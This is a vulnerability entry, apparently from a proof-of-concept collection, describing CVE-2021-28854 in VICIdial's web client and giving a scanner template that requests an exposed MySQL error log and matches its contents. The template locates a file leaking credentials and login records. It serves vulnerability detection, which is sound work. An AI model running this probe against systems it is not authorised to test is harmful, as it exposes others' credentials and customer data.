VICIdial's Web Client is susceptible to information disclosure because it contains many sensitive files that can be accessed from the client side. These files contain mysqli logs, auth logs, debug information, successful and unsuccessful login attempts with their corresponding IP's, User-Agents, credentials and much more. This information can be leveraged by an attacker to gain further access to VICIdial systems.
PoC代码[已公开]
id: CVE-2021-28854
info:
name: VICIdial Sensitive Information Disclosure
author: pdteam
severity: high
description: VICIdial's Web Client is susceptible to information disclosure because it contains many sensitive files that can be accessed from the client side. These files contain mysqli logs, auth logs, debug information, successful and unsuccessful login attempts with their corresponding IP's, User-Agents, credentials and much more. This information can be leveraged by an attacker to gain further access to VICIdial systems.
impact: |
An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, such as user credentials or customer data.
remediation: |
Apply the latest security patches and updates provided by VICIdial to fix the vulnerability and ensure sensitive information is properly protected.
reference:
- https://github.com/JHHAX/VICIdial
classification:
cve-id: CVE-2021-28854
metadata:
max-request: 1
tags: cve2021,cve,sqli
http:
- method: GET
path:
- "{{BaseURL}}/agc/vicidial_mysqli_errors.txt"
matchers-condition: and
matchers:
- type: word
words:
- 'text/plain'
part: header
- type: status
status:
- 200
- type: word
words:
- 'vdc_db_query'
part: body
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